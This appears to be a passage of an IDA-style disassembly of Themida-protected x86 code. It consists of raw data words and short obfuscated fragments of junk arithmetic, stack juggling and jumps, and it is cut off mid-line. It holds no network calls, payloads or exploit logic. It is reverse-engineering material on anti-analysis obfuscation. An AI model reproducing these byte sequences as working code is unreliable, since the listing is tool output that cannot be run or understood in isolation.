3302E983h dd 0C31240Ch, 240C3324h, 0C89665Ch, 0E90AB124h, 0FFFF7972h dd 24048966h, 0FF6D9CE9h, 241C89FFh, 7E3D6855h, 315D2F91h dd 31EB31DDh, 0DD874BDDh, 1BA3E9h, 5CE95400h, 6800000Fh dd 95Dh, 0FFDAB2E9h db 0FFh ; --------------------------------------------------------------------------- loc_58AB55: ; CODE XREF: Themida_:0058310Cj and eax, 49762264h add eax, 96E3A57h add eax, 0FED518E1h jmp loc_58BC58 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 2 dd 0FFAD1FE9h, 5BDA09FFh, 0F7CDEA81h, 0F0E9DEF6h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AB7F: ; CODE XREF: Themida_:005828F1j pop ecx dec ebp dec ebp dec ebp jmp loc_582B7D ; --------------------------------------------------------------------------- dd 89241489h, 4C281E2h, 83000000h, 25E904EAh, 0C1FFFFFDh dd 0C68102E6h, 84CCF7FBh, 5D7DC381h, 0D0E961DDh, 83FFFFFAh dd 1C8904ECh, 0E1885124h, 56E9CB88h, 6800002Ch, 3A10h dd 53241489h, 664165BBh, 4E6B6804h, 0F7E90000h, 81FFFFCEh dd 8E4834EAh, 81FA294Ah, 8E4834C2h, 0E2C15F4Ah, 0F7EAD102h dd 2BC281DAh, 29C3A32Eh, 2434FFD0h, 0FF8F0BE9h, 24248BFFh dd 0C8AF0F66h, 0E99C5166h, 0FFFF6CBDh, 59CA0158h, 7463BF57h dd 0C78111D8h, 163CF177h, 11C8E9h, 0DBB700h, 0E7C05AF7h dd 80C7FE07h, 0B652B8F7h, 180AE9E9h, 0E8280000h, 83599E04h dd 148904ECh, 0D05BB224h, 98CA80E2h, 39E9DAF6h, 5BFFFF7Eh dd 4B850h, 0C7010000h, 6F4E9h, 242C8B00h, 4C481h, 0C4830000h dd 0E2895204h, 4C281h, 0E9560000h, 3165h, 616EC581h, 2D5B4783h dd 57D4188Dh, 8D05E801h, 5D57D418h, 4D23E705h, 0E9D80160h dd 0FFFF9841h, 240C875Fh, 3124248Bh, 0E99C2404h, 0FFFF6C21h dd 525E5456h, 4BAh, 0D2C68100h, 12A6602h, 0D2EE81D6h, 0FF2A6602h dd 565A2434h, 0C6815E54h, 4, 0E904C683h, 0FFFF94CEh, 1B4368h dd 0A607E900h, 7FBDFFFFh, 0E97B2815h, 0FFFFA4B4h ; --------------------------------------------------------------------------- loc_58ACE8: ; CODE XREF: Themida_:00584D29j inc eax add eax, 42A42A20h sub edx, eax pop eax xor edx, 3628746Fh add edx, 8701B9BCh or edi, edx pop edx not edi inc edi push ecx jmp loc_5874BE ; --------------------------------------------------------------------------- db 0BEh, 0F7h, 8Ch dd 0D6293415h, 8124148Bh, 4C4h, 2FC68100h, 21E75DC9h, 24348BF0h dd 0FF9262E9h db 0FFh ; --------------------------------------------------------------------------- loc_58AD29: ; CODE XREF: Themida_:0058BCDAj add edi, 5D4A7285h jmp loc_58C96E ; --------------------------------------------------------------------------- dd 35E9FA01h, 53FFFFABh, 272FE9h, 4EC8300h, 32CFE9h, 80D4F600h dd 0E728BBECh, 5BFD3058h, 0C580C5FEh, 1EB652D3h, 0C0AEEE80h dd 536605EEh, 0FE088FB7h, 0F6805B66h, 16F68093h, 5AF000h dd 0E90A2CE8h, 0FFFFE4BAh ; --------------------------------------------------------------------------- loc_58AD7C: ; CODE XREF: Themida_:0058CAD4j add eax, 67A74C10h push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 push edi jmp loc_58C7DD ; --------------------------------------------------------------------------- loc_58AD9E: ; CODE XREF: Themida_:0058C913j pop ebp jmp loc_58A56B ; --------------------------------------------------------------------------- loc_58ADA4: ; CODE XREF: Themida_:0058BFC8j xchg eax, [esp] pop esp jmp loc_58551D ; --------------------------------------------------------------------------- db 81h, 0E9h, 2Bh dd 12B5A71h, 2BC181D1h, 5A2B5A71h, 543468h, 240C8900h dd 42474FFh, 0E9240C8Bh, 0FFFFACC3h, 8704C483h, 248B240Ch dd 0EF4CE924h, 8166FFFFh, 8169E8E9h, 2ECh, 0ACC0E900h dd 1489FFFFh, 81E28924h, 4C2h, 4C28100h, 0E9000000h, 0FFFFB7A7h dd 0AD14E952h, 0DB68FFFFh, 89000043h, 17E92424h, 0FFFFFFC2h dd 48B2434h, 8DE95224h, 0FF000014h, 669D1C77h, 241CD359h dd 6A97E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AE32: ; CODE XREF: Themida_:005862DCj pop edx xor edx, 4C6F7818h push esi mov esi, edx jmp loc_58A06E ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 35h dd 57AA1F6Dh, 0FFE3F9E9h, 815D54FFh, 4ECh, 24348900h, 4BEh dd 0FFF50100h, 80E92434h, 6600002Dh, 52240C8Bh, 0CFD2E953h dd 4BAFFFFh, 51000000h, 6A5989B9h, 1EF8145h, 8172C129h dd 0D14EEBEFh, 11DFE93Dh, 36E90000h, 89FFFF6Ah, 0E0892404h dd 0FF9524E9h, 8BD001FFh, 89562414h, 4C681E6h, 81000000h dd 4C6h, 24348700h, 4055Ch, 0E9E90000h, 0FFFFFF9Dh, 83582434h dd 1C8904ECh, 0FF3CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58AECE: ; CODE XREF: Themida_:005897E7j mov ecx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 add ecx, 4 push edx jmp loc_587FE7 ; --------------------------------------------------------------------------- dw 34FFh dd 8B2EE924h, 3431FFFFh, 24343324h, 83243431h, 79E904ECh dd 81FFFFEDh, 8015FCEFh, 0E9F90121h, 0FFFFAFAEh ; --------------------------------------------------------------------------- loc_58AF0C: ; CODE XREF: Themida_:00586A12j mov esi, edx sub esp, 4 jmp loc_5882E4 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0E9243433h, 0FFFF7850h, 283CF580h, 0A5E959EAh, 83000005h dd 53E904C4h, 30FFFF72h, 24322424h, 24243024h, 6602EC83h dd 52241C89h, 0FF7EB0E9h, 4C681FFh, 51000000h, 2BA52h dd 81520000h, 583D242Ch, 0C8B7E5Ch, 4C48124h, 81000000h dd 5C583DC1h, 0E9515A7Eh, 0FFFF7CB6h, 4BFh, 0B0CCE900h dd 0C483FFFFh, 4EC8304h, 0BA241489h, 13960C8Bh, 0D3E9DAF7h dd 87FFFFB4h, 90E92404h, 8BFFFFCCh, 0E9502404h, 0FFFF8BF9h dd 15BD901h, 7E959CBh, 0B2000027h, 0E9D0001Dh, 0FFFF869Ah dd 9C2424D2h, 0FF6904E9h, 4C183FFh, 0E9240C87h, 0FFFFDFD2h dd 0FFF1015Bh, 815E2434h, 4C4h, 0C2BD5500h, 50050376h dd 0B835C5B8h, 0E9D8F708h, 2508h, 240C8B66h, 10C768h, 240C8900h dd 0FFF416E9h, 240433FFh, 0FFBE0AE9h, 68BBE9FFh, 0F589FFFFh dd 0FFF467E9h, 4C481FFh, 68000000h, 586Fh, 0BA241489h dd 2Ch, 83E9FA01h, 6800001Eh, 878h, 68240C89h, 5094h, 0FFB90BE9h dd 240431FFh, 0E9240433h, 0FFFFF97Eh, 5EF2895Eh, 24CA815Fh dd 4A5EDD31h, 0EA81DAF7h, 2D497DC7h, 555AD001h, 0C76E9h db 0 ; --------------------------------------------------------------------------- loc_58B069: ; CODE XREF: Themida_:0058952Cj mov esp, [esp] jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B071: ; CODE XREF: Themida_:005853B8j dec ebx jmp loc_5870CF ; --------------------------------------------------------------------------- db 0B0h dd 58C330ABh, 0E380D3F6h, 0AFC380EEh, 2C5BD828h, 148B6629h dd 0E95324h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B093: ; CODE XREF: Themida_:00584A52j push 0F255CB7h mov edi, [esp] add esp, 4 push eax mov eax, 523C554Eh xor eax, 5F963966h sub eax, 1 xor eax, 47140277h neg eax add eax, 46904041h xor eax, 8D97D6E5h add edi, eax pop eax xor edi, 1AF5396h push 476h mov [esp], esi jmp loc_589102 ; --------------------------------------------------------------------------- db 8Fh dd 22E92404h, 81FFFFFBh, 0AA5182F7h, 86F7815Eh, 171EDB0h dd 0EC815FFBh, 4, 0FF241C89h, 5B042474h, 0E924048Fh, 1AD9h dd 0E904C383h, 2613h, 0B9240C89h, 4, 90E9CE89h, 5AFFFFDDh dd 8B66E530h, 0C4812404h, 2, 8159E830h, 2ECh, 1C896600h dd 2A686624h, 4896601h, 0B7535224h, 0AFF7801Eh, 535BFA88h dd 0DC88D388h, 98E95A5Bh, 83FFFFA7h, 0FF5204C4h, 5A042474h dd 5C24048Fh, 0E99CC138h, 0FFFF6765h, 4EF805Ah, 805BFA28h dd 0E951EFE2h, 0C35h, 8103EDC1h, 0F5604AF5h, 0E9EB0108h dd 0FFFFE935h, 24048F54h, 0FFD4ACE9h, 0B6B850FFh, 0F770FA3Bh dd 3E0C1D0h, 35E9D8F7h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B19F: ; CODE XREF: Themida_:0058D8B1j push ebx push ecx mov cl, dl mov bh, cl mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 jmp loc_589F16 ; --------------------------------------------------------------------------- dd 8245C01h, 6F0E9h, 0D8005A00h, 0FF7571E9h, 0BB5348FFh dd 5140565Ch, 355BD829h, 34C8233Ah, 2D02E0C1h, 99E0EC6Fh dd 0E958C531h, 0FFFF7266h ; --------------------------------------------------------------------------- loc_58B1EC: ; CODE XREF: Themida_:00588340j mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr eax, 0Ch xor eax, ecx push 1052h mov [esp], eax push esi jmp loc_58581B ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 535AD001h, 71CFE956h, 0C281FFFFh, 230B5384h, 3138C281h dd 1C8B12DAh, 4C48124h, 81000000h, 8A7838C2h, 6CE94A58h dd 0FF000003h, 669D1C77h, 24041858h, 666FE99Ch, 74FFFFFFh dd 8F590424h, 248B2404h, 5AD02124h, 0E2D1C209h, 4EC81h dd 4890000h, 11116824h, 2C890000h, 0BD555024h, 7CB0FFBh dd 22E9F581h, 0E5C1067Ch, 8BA5204h, 310C7608h, 814D5AD5h dd 0D16D77EDh, 0E9E889D8h, 184Dh, 0F702EAC1h, 8EC281DAh dd 103FDBEh, 24148BD0h, 504C483h, 4, 0FF78C7E9h, 1E980FFh dd 5064E980h, 88CF8853h, 0BEE95BFCh, 8BFFFFCCh, 0C483241Ch dd 0A5E95604h, 81000003h, 0B57269EEh, 5EF20104h, 815AD301h dd 7562ACC2h, 0A8C28137h, 0E97C5249h, 66Ah, 0E95DEE01h dd 0FFFFDF1Bh, 815AD301h, 0E239FFEBh, 8DEB8169h, 83483F11h dd 1C8904ECh, 0D4E95224h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B31F: ; CODE XREF: Themida_:0058C596j pop esi pop ebp jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58B326: ; CODE XREF: Themida_:0058A94Dj pop edi add esp, 4 and [edi+1Ch], ecx mov ecx, [esp] add esp, 4 jmp loc_58669D ; --------------------------------------------------------------------------- dd 6624248Bh, 0E99CC885h, 0FFFF6585h, 0EC835559h, 24248904h dd 0FF813FE9h, 3C8758FFh, 0CFF5C24h, 6AE99C24h, 89FFFF65h dd 7FB82404h, 0E91D4EF6h, 0FFFFBB86h, 240C8B5Bh, 0FE04C483h dd 80EE2CC0h, 0C3002EEBh, 8B2EC380h, 0C4812404h, 4, 0FFC0B60Fh dd 36E98734h, 50FFFF65h, 42474FFh, 24048F58h, 0C8AF0F5Ch dd 22E99C51h, 29FFFF65h, 2BC281DAh, 0E95DB37Ch, 0FFFFE073h dd 4C381h, 7BE90000h, 81FFFFB6h, 0F55AA3C1h, 0F6E95E36h dd 55FFFFD2h, 38386568h, 93E95D14h, 50FFFFBCh, 4B8h, 828CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B3E2: ; CODE XREF: Themida_:00589A13j sub esp, 4 jmp loc_5868AB ; --------------------------------------------------------------------------- dw 7ABFh dd 0E92B3524h, 0FFFF7AE7h, 24348966h, 0BD665566h, 5566D807h dd 24048166h, 5E667240h, 2C685266h, 89000052h, 6866243Ch dd 5F663D36h, 8FB96651h, 0E1816672h, 81667A2Eh, 6644D7F1h dd 483DC181h, 59CF2166h, 56F78166h, 0FA89664Fh, 22D1E95Fh dd 0EAC10000h, 7DB85003h, 213BD270h, 535758C2h, 412ECBBBh dd 5527BF71h, 8FE90F50h, 29FFFFE1h, 0B4C281EAh, 5D11093Ch dd 8BD0895Dh, 0C4832414h, 3E5D6804h, 0B6E90000h, 5DFFFFF6h dd 4BE56h, 0ECE90000h, 28FFFF80h, 241C8BF8h, 0FFF39FE9h db 0FFh ; --------------------------------------------------------------------------- loc_58B48D: ; CODE XREF: Themida_:00588DDBj push ecx mov ecx, edi jmp loc_58C083 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 240C8B04h, 0FFE266E9h, 0BDCE80FFh, 0FEEECE80h, 89EE80CEh dd 8036E680h, 0F38845EEh, 0C0EBD05Ah, 0CB8005E3h, 0C380FDh dd 45BD800h, 2CD02867h, 5AFD2C67h, 0E902EC83h, 0FFFF79C7h dd 66D03059h, 8124148Bh, 2C4h, 0FC33000h, 89E9C0B6h, 0FFFFBDh dd 0F1805AD1h, 60E9808Bh, 0E95DC980h, 21FEh, 240C8B66h dd 0E3895357h, 4C381h, 0BD550000h, 4, 0A4E9EB29h, 81000017h dd 161F08EEh, 8BF78935h, 0C4832434h, 3E7C104h, 0EB7BEF81h dd 0C681424Dh, 3E83409Ch, 0EE81FE29h, 3E83409Ch, 83243C8Bh dd 6804C4h, 0E9000000h, 0FFFF6F63h, 8BE95366h, 64FFFFAAh dd 91E932FFh, 58000004h, 66C0B60Fh, 0E924148Bh, 0FFFF8462h dd 0B8A9F681h, 0D6F778ADh, 8904EC83h, 0BCE92414h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58B57B: ; CODE XREF: Themida_:00588E2Ej push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_58C848 ; --------------------------------------------------------------------------- dw 0C381h dd 36B2667Bh, 4EC81h, 34890000h, 0CC4BE24h, 87564155h dd 0D2F72414h, 0FFB4C0E9h, 74FF56FFh, 0A6E90424h, 53FFFF8Ah dd 5677C6BBh, 0F5AFE94Ch, 0E952FFFFh, 0FFFF91D2h, 80BEC680h dd 0F3008EEBh, 8064B450h, 0B753C7C4h, 0FECFFE09h, 2D9E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B5E2: ; CODE XREF: Themida_:00586793j pop edi pop dword ptr [edi+20h] jmp loc_58CD26 ; --------------------------------------------------------------------------- db 0BBh dd 7EEB11A8h, 68h, 0C8BA5200h, 0E90B213Dh, 119Ah, 4B850h dd 0C1010000h, 0FF68ADE9h, 0E9D789FFh, 0FFFF89D1h, 460E95Ch dd 0B9510000h, 14E59AEh, 0C8BCE29h, 4C48324h, 535EF701h dd 6F6844BBh, 5BDF2963h, 38428F57h, 0E954515Fh, 12D8h dd 240C8B66h, 150CE9h, 48F5F00h, 24248B24h, 0FF9EA2E9h dd 7706BDFFh, 0E9012ACAh, 0E9D1F75Dh, 0FFFFA159h, 4C681h dd 0DA680000h, 89000000h, 2B82404h, 81000000h, 32784BEEh dd 0E9C60132h, 0FFFF9255h, 42474FFh, 0FFC4FDE9h, 81CE29FFh dd 686B4DEEh, 240C8B68h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx jmp loc_5866A2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFE380h, 4C481h, 66520000h, 0E935B353h dd 0FFFF8CC2h, 0A82C2504h, 0FFAC85E9h, 56D7F7FFh, 0F7631CBEh dd 0FF48E952h, 0C828FFFFh, 0C8B6604h, 0BF67E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B6DE: ; CODE XREF: Themida_:00584DFBj push ecx pop esi pop ecx jmp loc_5869F6 ; --------------------------------------------------------------------------- dw 48Fh dd 24048124h, 4, 4C7815Fh, 81000000h, 4C7h, 243C8700h dd 8324248Bh, 59E904ECh db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B70B: ; CODE XREF: Themida_:00581D67j sub esp, 4 mov [esp], ebx mov ebx, 4 mov eax, ebx pop ebx jmp loc_58A8EA ; --------------------------------------------------------------------------- dw 0EE83h dd 74FF5604h, 0E95E0424h, 0FFFFD787h ; --------------------------------------------------------------------------- loc_58B72C: ; CODE XREF: Themida_:00585C98j mov ecx, 0FEB605Eh add ecx, 5F52149Eh neg ecx jmp loc_587ABD ; --------------------------------------------------------------------------- loc_58B73E: ; CODE XREF: Themida_:00583B85j mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] add esp, 4 jmp loc_581AA8 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812404h, 4, 0FF7119E9h, 148B66FFh, 2C48324h dd 0FFB66DE9h, 0E1F781FFh, 0FF595E45h, 0E95A2434h, 0FFFFF114h dd 6645F580h, 0E9CFB652h, 16D0h ; --------------------------------------------------------------------------- loc_58B78C: ; CODE XREF: Themida_:00589178j pop esi and eax, ebx pop ebx jmp loc_58795C ; --------------------------------------------------------------------------- db 52h, 81h, 0ECh dd 2, 0FF7DB9E9h, 2E6C1FFh, 0A08E9h db 0 ; --------------------------------------------------------------------------- loc_58B7A9: ; CODE XREF: Themida_:00588AA7j add edi, 4 jmp loc_58DD39 ; --------------------------------------------------------------------------- aFsX db 'fS³X',0 dw 66D8h dd 2BB1515Bh, 0C003E9C0h, 516603E9h, 0F6243C86h, 171E9D7h dd 8B660000h, 0B1682404h, 0E9000059h, 0FFFFEAB0h, 9C241CF6h dd 2067E9h db 0 ; --------------------------------------------------------------------------- loc_58B7E5: ; CODE XREF: Themida_:005845C1j sub dword ptr [esp+8], 4A922F27h jmp loc_5819A8 ; --------------------------------------------------------------------------- loc_58B7F2: ; CODE XREF: Themida_:00588552j add ebp, ecx pop ecx push eax jmp loc_58CD72 ; --------------------------------------------------------------------------- db 66h dd 0E9241C8Bh, 1EE6h, 0E968D231h, 8900004Eh, 34FF241Ch dd 24048B24h, 5604C483h, 0E5A2E954h, 0E953FFFFh, 0FFFFCAB7h ; --------------------------------------------------------------------------- loc_58B824: ; CODE XREF: Themida_:00581978j pop edi add ebp, 1D4605E1h add ebp, eax sub ebp, 1D4605E1h mov eax, [esp] add esp, 4 jmp loc_5889E1 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 5C7A93BDh, 4E5C178h, 0ED81DDF7h, 0D6C69E57h, 15DE829h dd 0BF5758C5h, 2, 0FF663CE9h, 605FE9FFh, 0C189FFFFh, 6BF18158h dd 1AF2285h, 2434FFCAh, 4C48159h, 81000000h, 2C2h, 24148700h dd 0C8B665Ch, 0BA6E924h, 5580000h, 40A95D03h, 7FE9D001h dd 56FFFF95h, 0C6C3E954h, 6F09FFFFh, 2434FF1Ch, 4C4835Dh dd 0FF6014E9h, 0E9E95BFFh, 0F6000014h, 0DF2AE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B8C2: ; CODE XREF: Themida_:00581E77j sub esi, 53DE4236h add esi, 0FFFFFFFFh not esi add esi, 6B964C9h mov edx, esi pop esi and eax, edx jmp loc_58502D ; --------------------------------------------------------------------------- dd 2C8B5455h, 4C48324h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 5EB82404h, 355B0701h, 1D1E5BEDh, 585DC905h dd 4FE9405Dh, 83000008h, 5C2904C4h, 44810424h, 22C60424h dd 0E95B15F8h, 0FFFF5FA1h, 0AFC38159h, 153AA66h, 61E957FBh dd 33FFFFA8h, 0A1E9241Ch, 86FFFF70h, 5966243Ch, 0FF7EF0E9h dd 4C483FFh, 0E95AD528h, 0FFFFD9BCh ; --------------------------------------------------------------------------- loc_58B954: ; CODE XREF: Themida_:00589F2Bj mov ch, ah pop eax push ebx mov ebx, 0 add ebx, eax mov [ebx], ch jmp loc_583903 ; --------------------------------------------------------------------------- dw 0C281h dd 111176BFh, 1768C201h, 89000010h, 9D68240Ch, 89000035h dd 0F5E9241Ch, 87FFFFC8h, 0E95C2434h, 0FFFF82CAh, 8158C521h dd 2A0ABBE5h, 7FE9E90Fh, 8F5DFFFFh, 0D4E92404h, 81FFFFE5h dd 4C1h, 240C8700h, 6E27E95Ch, 0D889FFFFh, 66BE565Bh, 2921DA2Bh dd 0E120E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58B9C2: ; CODE XREF: Themida_:0058DF99j xor edi, 3A5B12B1h neg edi xor edi, 111250E1h add edi, 5E7D181Dh add eax, edi pop edi jmp loc_58A3B8 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9242C89h, 0FFFFF2F2h, 0FF5ED8E9h, 1BDFFh, 0EB290000h dd 0FBEB815Dh, 530D3E7Eh, 0DE240481h, 5A291556h, 56DEEA81h dd 15B2915h, 0E9575AD7h, 0FFFFA655h, 9B70E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BA1E: ; CODE XREF: Themida_:0058E009j mov edi, [esp] add esp, 4 push eax push 9FB0352h pop eax jmp loc_5822C1 ; --------------------------------------------------------------------------- db 51h dd 0CB88D188h, 959DE959h, 0E789FFFFh, 0FF7677E9h, 87ED81FFh dd 8B4E5855h, 0C483240Ch, 242C3304h, 0FFEF26E9h, 0F1F680FFh dd 0FFDB6FE9h, 4EC81FFh, 54000000h, 0FF6F18E9h, 5BD368FFh dd 1C890000h, 0A2B8E924h, 5456FFFFh, 4EC815Eh, 89000000h dd 4BF243Ch, 1000000h, 0C6815FFEh, 4, 8B243487h, 78E92424h dd 83FFFFF3h, 0D7E904ECh, 5BFFFFA0h, 0FFF907E9h, 8734FFFFh dd 8F240481h, 8B169F31h, 89522404h, 6485E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BAC2: ; CODE XREF: Themida_:0058391Bj pop ebx jmp loc_5833E8 ; --------------------------------------------------------------------------- loc_58BAC8: ; CODE XREF: Themida_:0058917Fj pop ax add al, 0B5h sub al, ch sub al, 0B5h pop ecx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 66h dd 0E924048Bh, 0FFFF93F7h, 0D3F7DD87h, 0B951DD87h, 0FF9C8335h dd 0C8BCD29h, 0BA9CE924h, 6C81FFFFh, 663D0424h, 54291CC2h dd 0D0E90424h, 5B000023h, 6C6068h, 242C8900h, 4BDh, 7CC38100h dd 0E9671A6Dh, 0FFFFBBD6h ; --------------------------------------------------------------------------- loc_58BB24: ; CODE XREF: Themida_:00583ABCj mov ebx, esp push edi jmp loc_581C79 ; --------------------------------------------------------------------------- dd 0F75BA52h, 0D301177Eh, 0FF9ED3E9h db 0FFh ; --------------------------------------------------------------------------- loc_58BB39: ; CODE XREF: Themida_:00583D34j pop eax jmp loc_584349 ; --------------------------------------------------------------------------- db 66h dd 6602B60Fh, 66721A68h, 0E9240489h, 0FFFF5D79h, 1500E181h dd 0E1C13465h, 7DE98102h, 812C429Eh, 0BA095BEAh, 81CA2969h dd 0BA095BC2h, 0C2015969h, 5E5AE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BB76: ; CODE XREF: Themida_:00586774j add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_58500A ; --------------------------------------------------------------------------- dd 82BCE95Dh, 6DBAFFFFh, 29344A50h, 0FD015AD5h, 0FFCCC8E9h dd 26E955FFh, 8100001Ah, 4C2h, 4C28300h, 2474FF52h, 48F5A04h dd 891DE924h, 0FF5AFFFFh, 34FF2434h, 2434FF24h, 0FFE834E9h dd 268FFh, 1580000h, 0C951E9C5h, 0C281FFFFh, 6C8904D7h dd 0FFD984E9h, 9CBE56FFh, 817F053Ah, 0C14249E6h, 4EE811Fh dd 0E91F0102h, 0FFFF9C43h, 2468h, 2434FF00h, 0E3C9E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BC02: ; CODE XREF: Themida_:0058CDB9j xor edx, 46AA61D2h add edx, 0B3431016h add ebx, edx pop edx push 3F4Bh mov [esp], eax jmp loc_586F8F ; --------------------------------------------------------------------------- dw 0F389h dd 5BDA095Eh, 0FFBA3DE9h, 240C89FFh, 582434FFh, 8B04C483h dd 0FAE9240Ch, 8BFFFFCEh, 0C4812404h, 4, 167E4A05h, 5E8C128h dd 4091BA52h, 0E9514512h, 682h ; --------------------------------------------------------------------------- loc_58BC58: ; CODE XREF: Themida_:0058AB64j mov ebp, eax pop eax jmp loc_5875A1 ; --------------------------------------------------------------------------- dd 5C242C87h, 5C24048Fh, 0FFC6AFE9h, 4C181FFh, 83000000h dd 148904ECh, 4BA24h, 2AE90000h, 5AFFFFF1h, 0FFE54DE9h dd 80B3B6FFh, 51E92BC6h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_58BC93: ; CODE XREF: Themida_:00585A6Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx mov edx, esp push eax mov eax, 4 jmp loc_586557 ; --------------------------------------------------------------------------- loc_58BCBA: ; CODE XREF: Themida_:00586121j mov [esp], esp add dword ptr [esp], 4 pop ebx push esi push eax jmp loc_58DF88 ; --------------------------------------------------------------------------- loc_58BCC9: ; CODE XREF: Themida_:0058844Ej pop eax push edi mov edi, 9756BB5h xor edi, 5C3000AEh shl edi, 7 dec edi jmp loc_58AD29 ; --------------------------------------------------------------------------- db 0BDh dd 733414ECh, 295DE801h, 14EC2DD8h, 0BF577334h, 2A75064Bh dd 2BFCF781h, 0F781570Eh, 10B061ECh, 6AC7814Fh, 8169175Dh dd 551C07EFh, 0E17CE937h, 1489FFFFh, 0F2EFE924h, 815DFFFFh dd 0D134F2C2h, 0A6C28160h, 152E836h, 0A6EA81F2h, 5652E836h dd 12A9E9h, 243C8B00h, 5104C483h, 0C181E189h, 4, 0F6A0E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BD4A: ; CODE XREF: Themida_:00581A8Bj xchg edi, [esp] pop esp push 66E2h mov [esp], edi mov edi, 2B553A4Ah jmp loc_585A8D ; --------------------------------------------------------------------------- loc_58BD60: ; CODE XREF: Themida_:00588A57j add eax, 694B3D06h pop edi sub esp, 4 mov [esp], esi push ecx jmp loc_586AA2 ; --------------------------------------------------------------------------- dw 535Dh dd 50242C81h, 5D152075h, 37D6BF57h, 0DFF71C01h, 0FF89EEE9h dd 0C2815AFFh, 4, 4EA81h, 14870000h, 4895C24h, 8BE95524h dd 0ACFFFFA0h, 0FFF913E9h, 0F6F5B1FFh, 0E9D1F6D9h, 19Ch dd 405h, 24048700h, 5724248Bh, 0C250F7BFh, 5FFE3163h, 34FFF001h dd 89565E24h, 1D9E9E6h, 8B660000h, 89562404h, 0F16BE9E6h dd 0E901FFFFh, 0FF747BE9h, 5FFA01FFh, 0FF5AD8E9h, 4EC81FFh dd 89000000h, 7CE9243Ch, 81FFFFAFh, 631DADC2h, 23E981D9h dd 292F8911h, 23C181D1h, 5A2F8911h, 0D07AC181h, 0CD01AA68h dd 81240C8Bh, 4C4h, 0E9DCE900h, 0CE01FFFFh, 1F5FE9h, 4EC8300h dd 8F241C89h, 58E92447h, 89FFFFC4h, 15E953E5h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58BE47: ; CODE XREF: Themida_:0058C6C3j sub dword ptr [esp], 54B2600Fh pop esi add esi, 54B2600Fh pop ebx jmp loc_586031 ; --------------------------------------------------------------------------- db 52h dd 9BDCE953h, 0EC81FFFFh, 4, 89240C89h, 699EE9E1h, 34FFFFFFh dd 2434FF24h, 2B0E959h, 815A0000h, 0D5BA4F2h, 5AD0895Bh dd 4244401h, 0FF98DFE9h, 0C2815AFFh, 4, 2B95150h, 89000000h dd 240C8BC8h, 4C481h, 0C2010000h, 0FFD117E9h, 55B951FFh dd 81299116h, 0F3405FC1h, 0A3E98117h, 16E045Fh, 0E82959CDh dd 0E9C2895Dh, 0FFFFF9C2h ; --------------------------------------------------------------------------- loc_58BED0: ; CODE XREF: Themida_:0058A02Ej add edx, 4 xchg edx, [esp] pop esp add ebp, 4 jmp loc_584E9F ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0E1895124h, 4C181h, 0B8500000h, 4, 5158C129h, 0FFE194E9h dd 0C8B66FFh, 0E9545024h, 17BCh, 8B24048Fh, 9B682424h dd 0E900004Bh, 0FFFF8DA7h, 8A243481h, 0FF26DB6Dh, 0BCE92434h dd 0E9000001h, 0FFFF5999h, 0E0E9F488h, 5AFFFFF1h, 19E9F189h dd 81FFFFE9h, 4C6h, 24348700h, 0E924248Bh, 0FFFFD533h dd 35C180h, 516659CAh, 0FFBF9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_58BF5D: ; CODE XREF: Themida_:00585197j push 438958E7h pop eax jmp loc_581B77 ; --------------------------------------------------------------------------- dd 4B43B951h, 0BA5222AEh, 1B3F7215h, 0FF66B7E9h, 0BDEA81FFh dd 5676E34Bh, 0C3996CBEh, 5EF2314Dh, 4E8268h, 24148900h dd 0F5815A5Dh, 2A0A4A37h, 0B850E5D1h, 4B5E49A2h, 158C501h dd 8B04246Ch, 0FCE9242Ch, 53FFFFBEh, 4BBh, 0E9DE0100h dd 